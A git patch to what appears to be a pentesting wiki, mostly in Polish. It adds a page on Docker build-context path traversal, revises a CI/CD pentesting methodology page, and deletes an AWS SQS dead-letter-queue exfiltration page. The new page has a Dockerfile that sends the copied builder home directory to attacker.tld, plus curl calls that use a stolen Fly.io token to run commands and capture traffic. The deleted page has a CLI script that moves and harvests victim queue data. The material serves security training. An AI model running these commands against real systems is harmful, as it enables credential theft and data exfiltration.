From 654fa96b33d68a64bba952fb1dcd2d65e3e1956f Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 25 Oct 2025 16:08:22 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p --- .../docker-build-context-abuse.md | 101 ++++++++++++ .../pentesting-ci-cd-methodology.md | 93 ++++++----- .../aws-sqs-dlq-redrive-exfiltration.md | 154 ------------------ 3 files changed, 151 insertions(+), 197 deletions(-) create mode 100644 src/pentesting-ci-cd/docker-build-context-abuse.md delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md diff --git a/src/pentesting-ci-cd/docker-build-context-abuse.md b/src/pentesting-ci-cd/docker-build-context-abuse.md new file mode 100644 index 000000000..0a329f45c --- /dev/null +++ b/src/pentesting-ci-cd/docker-build-context-abuse.md @@ -0,0 +1,101 @@ +# Nadużywanie Docker Build Context w hostowanych builderach (Path Traversal, Exfil, and Cloud Pivot) + +{{#include ../banners/hacktricks-training.md}} + +## TL;DR + +Jeśli platforma CI/CD lub hosted builder pozwala contributorom określić ścieżkę build context i ścieżkę Dockerfile, często można ustawić context na katalog nadrzędny (np. "..") i uczynić pliki hosta częścią build context. Wówczas kontrolowany przez atakującego Dockerfile może użyć COPY i exfiltrate sekrety znalezione w katalogu domowym użytkownika buildera (np. ~/.docker/config.json). Skradzione registry tokens mogą też działać przeciwko providerowi poprzez control-plane APIs, umożliwiając org-wide RCE. + +## Powierzchnia ataku + +Wiele hostowanych usług builder/registry robi mniej więcej to przy budowaniu obrazów przesłanych przez użytkowników: +- Odczytuje konfigurację na poziomie repo, która zawiera: +- build context path (wysyłany do Docker daemon) +- Dockerfile path względny względem tego contextu +- Kopiuje wskazany katalog build context oraz Dockerfile do Docker daemon +- Buduje obraz i uruchamia go jako hostowaną usługę + +Jeśli platforma nie kanonizuje i nie ogranicza build context, użytkownik może ustawić go na lokalizację poza repozytorium (path traversal), powodując, że dowolne pliki hosta czytelne dla build usera staną się częścią build context i będą dostępne do COPY w Dockerfile. + +Praktyczne ograniczenia obserwowane w praktyce: +- Dockerfile musi znajdować się wewnątrz wybranego context path i jego ścieżka musi być znana z wyprzedzeniem. +- build user musi mieć dostęp do odczytu plików dołączonych do context; specjalne pliki urządzeń mogą zepsuć kopiowanie. + +## PoC: Path traversal via Docker build context + +Przykładowa złośliwa konfiguracja serwera deklarująca Dockerfile w katalogu nadrzędnym contextu: +```yaml +runtime: "container" +build: +dockerfile: "test/Dockerfile" # Must reside inside the final context +dockerBuildPath: ".." # Path traversal to builder user $HOME +startCommand: +type: "http" +configSchema: +type: "object" +properties: +apiKey: +type: "string" +required: ["apiKey"] +exampleConfig: +apiKey: "sk-example123" +``` +Notatki: +- Użycie ".." często odnosi się do katalogu domowego użytkownika builder (np. /home/builder), który zazwyczaj zawiera wrażliwe pliki. +- Umieść swój Dockerfile w katalogu repo (np. repo "test" → test/Dockerfile), tak aby pozostał w obrębie rozszerzonego kontekstu nadrzędnego. + +## PoC: Dockerfile to ingest and exfiltrate the host context +```dockerfile +FROM alpine +RUN apk add --no-cache curl +RUN mkdir /data +COPY . /data # Copies entire build context (now builder’s $HOME) +RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0) +``` +Typowe cele odzyskiwane z $HOME: +- ~/.docker/config.json (registry auths/tokens) +- Inne cache i pliki konfiguracyjne cloud/CLI (np. ~/.fly, ~/.kube, ~/.aws, ~/.config/*) + +Uwaga: Nawet jeśli w repozytorium znajduje się plik .dockerignore, podatny mechanizm wyboru kontekstu po stronie platformy nadal kontroluje, co zostanie wysłane do daemon. Jeśli platforma skopiuje wybraną ścieżkę do daemon zanim oceni .dockerignore w repozytorium, pliki hosta nadal mogą zostać ujawnione. + +## Pivot w chmurze z nadmiernie uprzywilejowanymi tokens (przykład: Fly.io Machines API) + +Niektóre platformy wydają pojedynczy bearer token, który można użyć zarówno dla container registry, jak i control-plane API. Jeśli exfiltrate'ujesz registry token, spróbuj go użyć przeciwko provider API. + +Przykładowe wywołania API przeciwko Fly.io Machines API używające skradzionego tokena z ~/.docker/config.json: + +Wypisz aplikacje w organizacji: +```bash +curl -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps?org_slug=smithery" +``` +Uruchom polecenie jako root wewnątrz dowolnej maszyny aplikacji: +```bash +curl -s -X POST -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps//machines//exec" \ +--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}' +``` +Wynik: org-wide remote code execution we wszystkich hostowanych aplikacjach, jeśli token posiada wystarczające uprawnienia. + +## Kradzież sekretów z kompromitowanych hostowanych usług + +Mając exec/RCE na hostowanych serwerach, możesz pozyskać sekrety dostarczone przez klienta (API keys, tokens) lub przeprowadzić prompt-injection attacks. Przykład: zainstaluj tcpdump i przechwyć ruch HTTP na porcie 8080, aby wydobyć przychodzące poświadczenia. +```bash +# Install tcpdump inside the machine +curl -s -X POST -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps//machines//exec" \ +--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}' + +# Capture traffic +curl -s -X POST -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps//machines//exec" \ +--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}' +``` +Przechwycone żądania często zawierają poświadczenia klienta w nagłówkach, ciałach żądań lub parametrach zapytania. + +## Źródła + +- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/) +- [Fly.io Machines API](https://fly.io/docs/machines/api/) + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 057c0d550..f6075bc92 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -1,4 +1,4 @@ -# Metodologia Pentesting CI/CD +# Pentesting CI/CD Metodologia {{#include ../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ ## VCS -VCS oznacza **System Kontroli Wersji**, ten system pozwala deweloperom **zarządzać swoim kodem źródłowym**. Najpopularniejszym jest **git** i zwykle znajdziesz firmy korzystające z niego na jednej z następujących **platform**: +VCS oznacza **Version Control System**, ten system pozwala deweloperom **zarządzać swoim kodem źródłowym**. Najbardziej powszechny to **git** i zazwyczaj znajdziesz firmy używające go na jednej z następujących **platform**: - Github - Gitlab @@ -18,86 +18,93 @@ VCS oznacza **System Kontroli Wersji**, ten system pozwala deweloperom **zarząd ## CI/CD Pipelines -CI/CD pipelines umożliwiają deweloperom **automatyzację uruchamiania kodu** w różnych celach, w tym budowy, testów i deployu aplikacji. Te zautomatyzowane workflowy są **wyzwalane przez konkretne akcje**, takie jak pushy kodu, pull requesty lub zadania zaplanowane. Ułatwiają one usprawnienie procesu od developmentu do produkcji. +CI/CD pipelines umożliwiają deweloperom **automatyzację wykonywania kodu** w różnych celach, w tym budowania, testowania i wdrażania aplikacji. Te zautomatyzowane workflowy są **wyzwalane przez określone akcje**, takie jak pushy kodu, pull requesty lub zadania zaplanowane. Ułatwiają one usprawnienie procesu od developmentu do produkcji. -Jednak te systemy muszą być **uruchamiane gdzieś** i zwykle wymagają **uprzywilejowanych poświadczeń do deployu kodu lub dostępu do wrażliwych informacji**. +Jednak te systemy muszą być **wykonywane gdzieś** i zwykle z **uprzywilejowanymi poświadczeniami do wdrażania kodu lub dostępu do wrażliwych informacji**. -## VCS Pentesting Methodology +## VCS Pentesting Metodologia > [!NOTE] -> Nawet jeśli niektóre platformy VCS umożliwiają tworzenie pipeline'ów, w tej sekcji przeanalizujemy tylko potencjalne ataki na kontrolę nad kodem źródłowym. +> Nawet jeśli niektóre platformy VCS pozwalają tworzyć pipelines, w tej sekcji przeanalizujemy tylko potencjalne ataki na kontrolę kodu źródłowego. -Platformy zawierające kod źródłowy Twojego projektu przechowują wrażliwe informacje i trzeba być bardzo ostrożnym z uprawnieniami nadawanymi w obrębie tej platformy. Oto kilka powszechnych problemów na platformach VCS, które atakujący może wykorzystać: +Platformy przechowujące kod źródłowy projektu zawierają wrażliwe informacje i trzeba bardzo uważać na uprawnienia przyznawane w tej platformie. Oto kilka typowych problemów w platformach VCS, które atakujący może wykorzystać: -- **Leaks**: Jeśli Twój kod zawiera leaks w commitach i atakujący ma dostęp do repo (bo jest publiczne lub ma dostęp), może odkryć te leaks. -- **Access**: Jeśli atakujący może **uzyskać dostęp do konta na platformie VCS**, może zdobyć **większą widoczność i uprawnienia**. -- **Register**: Niektóre platformy pozwalają po prostu zewnętrznym użytkownikom na założenie konta. -- **SSO**: Niektóre platformy nie pozwalają na rejestrację, ale pozwalają każdemu zalogować się za pomocą ważnego SSO (np. atakujący mógłby użyć swojego konta github, żeby wejść). +- **Leaks**: Jeśli twój kod zawiera leak w commitach i atakujący może uzyskać dostęp do repo (bo jest publiczne lub ma dostęp), może odkryć te leak. +- **Access**: Jeśli atakujący może uzyskać dostęp do konta na platformie VCS, może zyskać **większą widoczność i uprawnienia**. +- **Register**: Niektóre platformy po prostu pozwalają zewnętrznym użytkownikom tworzyć konto. +- **SSO**: Niektóre platformy nie pozwalają na rejestrację, ale pozwalają na logowanie każdemu z ważnym SSO (więc atakujący mógłby użyć np. swojego github konta, aby wejść). - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... istnieje wiele rodzajów tokenów, które użytkownik może ukraść, aby w jakiś sposób uzyskać dostęp do repo. -- **Webhooks**: Platformy VCS pozwalają tworzyć webhooks. Jeśli nie są **chronione** niewidzialnymi sekretami, **atakujący może je nadużyć**. -- Jeśli nie ma sekretu, atakujący może nadużyć webhooka platformy zewnętrznej. -- Jeśli sekret jest w URL, dzieje się to samo i atakujący również ma ten sekret. -- **Code compromise:** Jeśli złośliwy aktor ma jakiś rodzaj **write** dostępu do repo, może spróbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może być konieczne **obejście ochrony gałęzi**. Te działania mogą być wykonywane z różnymi celami po drodze: - - Skompromitować gałąź main, aby **skompromitować production**. - - Skompromitować main (lub inne gałęzie), aby **skompromitować maszyny deweloperów** (ponieważ zwykle wykonują testy, terraform lub inne rzeczy w repo na swoich maszynach). - - **Compromise the pipeline** (zobacz następną sekcję) +- **Webhooks**: Platformy VCS pozwalają tworzyć webhooks. Jeśli nie są **chronione** przy pomocy sekretów niewidocznych, **atakujący może je wykorzystać**. +- If no secret is in place, the attacker could abuse the webhook of the third party platform +- If the secret is in the URL, the same happens and the attacker also have the secret +- **Code compromise:** Jeśli złośliwy aktor ma jakiś rodzaj **write** dostępu do repos, może spróbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może musieć **obejść branch protections**. Te działania mogą być wykonane z różnymi celami: + - Skompromitować główną gałąź, aby **skompromitować produkcję**. + - Skompromitować main (lub inne branche), aby **skompromitować maszyny deweloperów** (ponieważ zwykle wykonują testy, terraform lub inne rzeczy z repo na swoich maszynach). + - **Skompromitować pipeline** (zobacz następną sekcję) ## Pipelines Pentesting Methodology -Najczęstszym sposobem definiowania pipeline'a jest użycie **pliku konfiguracyjnego CI hostowanego w repozytorium**, które pipeline buduje. Ten plik opisuje kolejność wykonywanych jobów, warunki wpływające na flow oraz ustawienia środowiska budowy.\ -Pliki te mają zwykle stałą nazwę i format, np. — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions znajdujące się pod .github/workflows. Po wyzwoleniu, job pipeline **pobiera kod** ze wskazanego źródła (np. commit / branch) i **uruchamia komendy określone w pliku konfiguracyjnym CI** na tym kodzie. +Najczęstszym sposobem definiowania pipeline jest użycie **CI configuration file hostowanego w repo**, które pipeline buduje. Ten plik opisuje kolejność wykonywanych jobów, warunki wpływające na flow oraz ustawienia środowiska builda.\ +Takie pliki zwykle mają spójną nazwę i format, na przykład — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions w .github/workflows. Gdy są wyzwalane, job pipeline **pobiera kod** ze wskazanego źródła (np. commit / branch) i **uruchamia polecenia określone w CI configuration file** przeciwko temu kodowi. -Dlatego ostatecznym celem atakującego jest w jakiś sposób **skompromitować te pliki konfiguracyjne** lub **komendy, które one wykonują**. +Dlatego ostatecznym celem atakującego jest w jakiś sposób **skompromitować te pliki konfiguracyjne** lub **polecenia, które wykonują**. + +> [!TIP] +> Niektórzy hostowani build-ersi pozwalają contributorom wybierać Docker build context i Dockerfile path. Jeśli context jest kontrolowany przez atakującego, możesz ustawić go poza repo (np. ".."), aby wciągnąć pliki hosta podczas builda i exfiltrate secrets. Zobacz: +> +>{{#ref}} +>docker-build-context-abuse.md +>{{#endref}} ### PPE - Poisoned Pipeline Execution -The Poisoned Pipeline Execution (PPE) path wykorzystuje uprawnienia w repozytorium SCM do manipulacji pipeline'em CI i uruchamiania szkodliwych poleceń. Użytkownicy z odpowiednimi uprawnieniami mogą modyfikować pliki konfiguracyjne CI lub inne pliki używane przez job pipeline, aby dodać złośliwe polecenia. To „truje” CI pipeline, prowadząc do wykonania tych złośliwych poleceń. +Poisoned Pipeline Execution (PPE) wykorzystuje uprawnienia w repo SCM do manipulacji CI pipeline i wykonania szkodliwych poleceń. Użytkownicy z odpowiednimi uprawnieniami mogą modyfikować CI configuration files lub inne pliki używane przez job pipeline, aby dodać złośliwe polecenia. To „zatrucie” CI pipeline prowadzi do wykonania tych złośliwych poleceń. -Aby złośliwy aktor odniósł sukces wykonując atak PPE, musi: +Aby złośliwy aktor mógł odnieść sukces w ataku PPE, musi: -- Mieć **write access to the VCS platform**, ponieważ pipeline'y zwykle są wyzwalane przy pushu lub pull requestcie. (Sprawdź VCS pentesting methodology dla podsumowania sposobów uzyskania dostępu). -- Zauważ, że czasami **zewnętrzny PR liczy się jako "write access"**. -- Nawet mając uprawnienia zapisu, musi mieć pewność, że może **zmodyfikować plik konfiguracyjny CI lub inne pliki, na których konfiguracja polega**. -- W tym celu może być konieczne **obejście ochrony gałęzi**. +- Mieć **write access do platformy VCS**, ponieważ zwykle pipeline są wyzwalane przy pushu lub pull requestcie. (Zobacz VCS pentesting methodology dla podsumowania sposobów na zdobycie dostępu). +- Zwróć uwagę, że czasami **external PR liczy się jako "write access"**. +- Nawet mając uprawnienia do zapisu, musi się upewnić, że może **zmodyfikować CI config file lub inne pliki, na których config polega**. +- W tym celu może wymagać umiejętności **obejścia branch protections**. -Są 3 odmiany PPE: +Istnieją 3 odmiany PPE: - **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed. - **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config). -- **Public PPE or 3PE**: W niektórych przypadkach pipeline'y mogą być **wyzwalane przez użytkowników, którzy nie mają write access w repo** (i którzy nawet mogą nie należeć do organizacji), ponieważ mogą wysłać PR. -- **3PE Command Injection**: Zwykle CI/CD pipeline'y będą **ustawiać zmienne środowiskowe** z **informacjami o PR**. Jeśli tę wartość może kontrolować atakujący (np. tytuł PR) i jest **używana** w **niebezpiecznym miejscu** (np. przy wykonywaniu **sh commands**), atakujący może **wstrzyknąć tam polecenia**. +- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR. +- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**. ### Exploitation Benefits -Znając 3 odmiany zatrucia pipeline'a, sprawdźmy, co atakujący może uzyskać po udanej eksploatacji: +Znając 3 odmiany zatrucia pipeline, sprawdźmy, co atakujący może uzyskać po udanej eksploatacji: -- **Secrets**: Jak wspomniano wcześniej, pipeline'y wymagają **uprawnień** do swoich jobów (pobrać kod, zbudować, zdeployować...) i te uprawnienia są zwykle **przyznawane w sekretach**. Te sekrety zwykle są dostępne przez **zmienne środowiskowe lub pliki w systemie**. Dlatego atakujący zawsze będzie próbował wyeksfiltrować jak najwięcej sekretów. -- W zależności od platformy pipeline atakujący **może musieć określić sekrety w konfiguracji**. To oznacza, że jeśli atakujący nie może zmodyfikować konfiguracji CI (np. **I-PPE**), mógłby **wyeksfiltrować tylko sekrety, które ma dany pipeline**. -- **Computation**: Kod jest wykonywany gdzieś — w zależności od miejsca wykonywania atakujący może być w stanie pivotować dalej. -- **On-Premises**: Jeśli pipeline'y są wykonywane on-premises, atakujący może trafić do **sieci wewnętrznej z dostępem do większej ilości zasobów**. -- **Cloud**: Atakujący może uzyskać dostęp do **innych maszyn w chmurze**, ale także może **wyeksfiltrować** tokeny ról IAM/service accounts, żeby uzyskać **dalej idący dostęp w chmurze**. -- **Platforms machine**: Czasami joby będą wykonywane na **maszynach platformy pipelines**, które zwykle znajdują się w chmurze i mają **ograniczony dostęp**. -- **Select it:** Czasami **platforma pipeline będzie miała skonfigurowane różne maszyny** i jeśli możesz **zmodyfikować plik konfiguracyjny CI**, możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W takiej sytuacji atakujący prawdopodobnie odpali reverse shell na każdej możliwej maszynie, aby spróbować dalej ją eksploatować. -- **Compromise production**: Jeśli jesteś wewnątrz pipeline'a i finalna wersja jest budowana i deployowana z niego, możesz **skompromitować kod, który trafi do produkcji**. +- **Secrets**: Jak wspomniano wcześniej, pipeline wymagają **uprawnień** dla swoich jobów (pobranie kodu, budowa, deploy...) i te uprawnienia są zwykle **przechowywane w secrets**. Te secrets są zwykle dostępne przez **zmienne środowiskowe (env variables) lub pliki w systemie**. Dlatego atakujący zawsze będzie próbował wyfiltrować jak najwięcej secrets. +- W zależności od platformy pipeline atakujący **może musieć określić secrets w konfiguracji**. To oznacza, że jeśli atakujący nie może zmodyfikować CI configuration pipeline (**I-PPE** na przykład), mógłby **jedynie wyfiltrować te secrets, które ten pipeline posiada**. +- **Computation**: Kod jest wykonywany gdzieś; w zależności od miejsca wykonania atakujący może być w stanie dokonać pivotu dalej. +- **On-Premises**: Jeśli pipeline są wykonywane on-premises, atakujący może trafić do **sieci wewnętrznej z dostępem do większej liczby zasobów**. +- **Cloud**: Atakujący może uzyskać dostęp do **innych maszyn w chmurze**, ale także może **exfiltrate** IAM roles/service accounts **tokens** z chmury, aby uzyskać **dalszy dostęp wewnątrz chmury**. +- **Platforms machine**: Czasami joby będą wykonywane na **maszynach platformy pipelines**, które zwykle są w chmurze i **nie mają dalszego dostępu**. +- **Select it:** Czasami **platforma pipelines ma skonfigurowane wiele maszyn** i jeśli możesz **zmodyfikować CI configuration file** możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W takiej sytuacji atakujący prawdopodobnie uruchomi reverse shell na każdej możliwej maszynie, aby spróbować ją dalej wykorzystać. +- **Compromise production**: Jeśli jesteś w pipeline i końcowa wersja jest zbudowana i wdrażana z niego, możesz **skompromitować kod, który ostatecznie zostanie uruchomiony w produkcji**. ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to narzędzie open-source do audytu Twojego stacku software supply chain pod kątem zgodności bezpieczeństwa, oparte na nowym [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt koncentruje się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu tworzenia kodu po czas jego deployu. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) jest narzędziem open-source do audytu Twojego software supply chain stack pod kątem zgodności bezpieczeństwa na bazie nowego [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt skupia się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu kodu do czasu wdrożenia. ### Top 10 CI/CD Security Risk -Sprawdź ciekawy artykuł o top 10 ryzyk CI/CD według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Sprawdź ciekawy artykuł o top 10 ryzykach CI/CD według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz instrukcję jak ją uruchomić lokalnie, abyś mógł skonfigurować ją tak, jak chcesz do testów +- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz instrukcje jak ją uruchomić lokalnie, aby skonfigurować ją według własnych potrzeb i testować. - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** to narzędzie do statycznej analizy kodu dla infrastructure-as-code. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** jest narzędziem do statycznej analizy kodu dla infrastructure-as-code. ## References diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md deleted file mode 100644 index 5a438e112..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md +++ /dev/null @@ -1,154 +0,0 @@ -# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask - -{{#include ../../../banners/hacktricks-training.md}} - -## Opis - -Nadużyj zadań przenoszenia wiadomości SQS, aby ukraść wszystkie zgromadzone wiadomości z Dead-Letter Queue (DLQ) ofiary, przekierowując je do kolejki kontrolowanej przez atakującego przy użyciu `sqs:StartMessageMoveTask`. Ta technika wykorzystuje legalną funkcję odzyskiwania wiadomości w AWS do eksfiltracji wrażliwych danych, które gromadziły się w DLQ przez dłuższy czas. - -## Czym jest Dead-Letter Queue (DLQ)? - -Dead-Letter Queue to specjalna kolejka SQS, do której automatycznie trafiają wiadomości, gdy główna aplikacja nie jest w stanie ich poprawnie przetworzyć. Te nieprzetworzone wiadomości często zawierają: -- Wrażliwe dane aplikacji, których nie udało się przetworzyć -- Szczegóły błędów i informacje do debugowania -- Personal Identifiable Information (PII) -- API tokens, poświadczenia lub inne sekrety -- Krytyczne dla biznesu dane transakcyjne - -DLQ pełnią rolę "cmentarza" dla nieudanych wiadomości, co czyni je wartościowymi celami, ponieważ z czasem gromadzą wrażliwe dane, których aplikacje nie potrafiły obsłużyć. - -## Scenariusz ataku - -**Przykład z życia:** -1. **Aplikacja e-commerce** przetwarza zamówienia klientów przez SQS -2. **Niektóre zamówienia zawodzą** (problemy z płatnością, braki w magazynie itp.) i trafiają do DLQ -3. **DLQ gromadzi** przez tygodnie/miesiące nieudane zamówienia zawierające dane klientów: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` -4. **Atakujący uzyskuje dostęp** do poświadczeń AWS z uprawnieniami do SQS -5. **Atakujący odkrywa**, że DLQ zawiera tysiące nieudanych zamówień z wrażliwymi danymi -6. **Zamiast próbować uzyskać dostęp do pojedynczych wiadomości** (powolne i oczywiste), atakujący używa `StartMessageMoveTask`, aby masowo przenieść WSZYSTKIE wiadomości do swojej kolejki -7. **Atakujący wydobywa** wszystkie historyczne wrażliwe dane w jednej operacji - -## Wymagania -- Kolejka źródłowa musi być skonfigurowana jako DLQ (referencjonowana przez przynajmniej jedną kolejkę w RedrivePolicy). -- Uprawnienia IAM (działając jako skompromitowany podmiot ofiary): -- Na DLQ (źródło): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. -- Na kolejce docelowej: uprawnienie do dostarczania wiadomości (np. polityka kolejki pozwalająca `sqs:SendMessage` od podmiotu ofiary). Dla destynacji w tym samym koncie jest to zazwyczaj dozwolone domyślnie. -- Jeśli SSE-KMS jest włączone: na źródłowym CMK `kms:Decrypt`, oraz na docelowym CMK `kms:GenerateDataKey`, `kms:Encrypt`. - -## Wpływ -Eksfiltracja wrażliwych ładunków zgromadzonych w DLQ (nieudane zdarzenia, PII, tokeny, payloady aplikacji) z dużą szybkością przy użyciu natywnych API SQS. Działa cross-account, jeśli polityka kolejki docelowej pozwala `SendMessage` od podmiotu ofiary. - -## Jak nadużyć - -- Zidentyfikuj ARN ofiarnej DLQ i upewnij się, że jest ona faktycznie referencjonowana jako DLQ przez jakąś kolejkę (dowolna kolejka wystarczy). -- Utwórz lub wybierz kontrolowaną przez atakującego kolejkę docelową i zdobądź jej ARN. -- Uruchom zadanie przeniesienia wiadomości ze złośliwej DLQ do swojej kolejki docelowej. -- Monitoruj postęp lub anuluj w razie potrzeby. - -### CLI Example: Exfiltrating Customer Data from E-commerce DLQ - -**Scenariusz**: Atakujący skompromitował poświadczenia AWS i odkrył, że aplikacja e-commerce używa SQS z DLQ zawierającą nieudane próby przetworzenia zamówień klientów. - -1) **Odkryj i przeanalizuj ofiarną DLQ** -```bash -# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) -aws sqs list-queues --queue-name-prefix dlq - -# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq -VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" -SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) - -# Check how many messages are in the DLQ (potential treasure trove!) -aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ ---attribute-names ApproximateNumberOfMessages -# Output might show: "ApproximateNumberOfMessages": "1847" -``` -2) **Utwórz docelową kolejkę kontrolowaną przez atakującego** -```bash -# Create our exfiltration queue -ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) -ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) - -echo "Created exfiltration queue: $ATTACKER_Q_ARN" -``` -3) **Wykonaj masową kradzież wiadomości** -```bash -# Start moving ALL messages from victim DLQ to our queue -# This operation will transfer thousands of failed orders containing customer data -echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" -TASK_RESPONSE=$(aws sqs start-message-move-task \ ---source-arn "$SRC_ARN" \ ---destination-arn "$ATTACKER_Q_ARN" \ ---max-number-of-messages-per-second 100) - -echo "Move task started: $TASK_RESPONSE" - -# Monitor the theft progress -aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 -``` -4) **Zgromadź skradzione wrażliwe dane** -```bash -# Receive the exfiltrated customer data -echo "Receiving stolen customer data..." -aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ ---attribute-names All --message-attribute-names All \ ---max-number-of-messages 10 --wait-time-seconds 5 - -# Example of what an attacker might see: -# { -# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", -# "MessageId": "12345-abcd-6789-efgh" -# } - -# Continue receiving all messages in batches -while true; do -MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ ---max-number-of-messages 10 --wait-time-seconds 2 --output json) - -if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then -echo "No more messages - exfiltration complete!" -break -fi - -echo "Received batch of stolen data..." -# Process/save the stolen customer data -echo "$MESSAGES" >> stolen_customer_data.json -done -``` -### Uwagi dotyczące cross-account -- Kolejka docelowa musi mieć politykę zasobów zezwalającą podmiotowi ofiary na `sqs:SendMessage` (oraz, jeśli używane, przyznania/uprawnienia KMS). - -## Dlaczego ten atak jest skuteczny - -1. **Wbudowana funkcja AWS**: Wykorzystuje wbudowaną funkcjonalność AWS, co utrudnia wykrycie jako złośliwe -2. **Operacja masowa**: Przenosi tysiące wiadomości szybko zamiast powolnego pojedynczego dostępu -3. **Dane historyczne**: DLQs gromadzą wrażliwe dane przez tygodnie/miesiące -4. **Poza radarem**: Wiele organizacji nie monitoruje dostępu do DLQ dokładnie -5. **Możliwość cross-account**: Może exfiltrate do własnego konta AWS atakującego, jeśli uprawnienia na to pozwalają - -## Wykrywanie i zapobieganie - -### Wykrywanie -Monitoruj CloudTrail pod kątem podejrzanych wywołań API `StartMessageMoveTask`: -```json -{ -"eventName": "StartMessageMoveTask", -"sourceIPAddress": "suspicious-ip", -"userIdentity": { -"type": "IAMUser", -"userName": "compromised-user" -}, -"requestParameters": { -"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", -"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" -} -} -``` -### Zapobieganie -1. **Zasada najmniejszych uprawnień**: Ogranicz uprawnienia `sqs:StartMessageMoveTask` tylko do niezbędnych ról -2. **Monitoruj DLQs**: Skonfiguruj alarmy CloudWatch dla nietypowej aktywności DLQs -3. **Polityki cross-account**: Dokładnie sprawdź polityki kolejek SQS zezwalające na dostęp cross-account -4. **Szyfruj DLQs**: Użyj SSE-KMS z restrykcyjnymi politykami kluczy -5. **Regularne czyszczenie**: Nie pozwól, aby wrażliwe dane gromadziły się w DLQs bezterminowo - -{{#include ../../../banners/hacktricks-training.md}}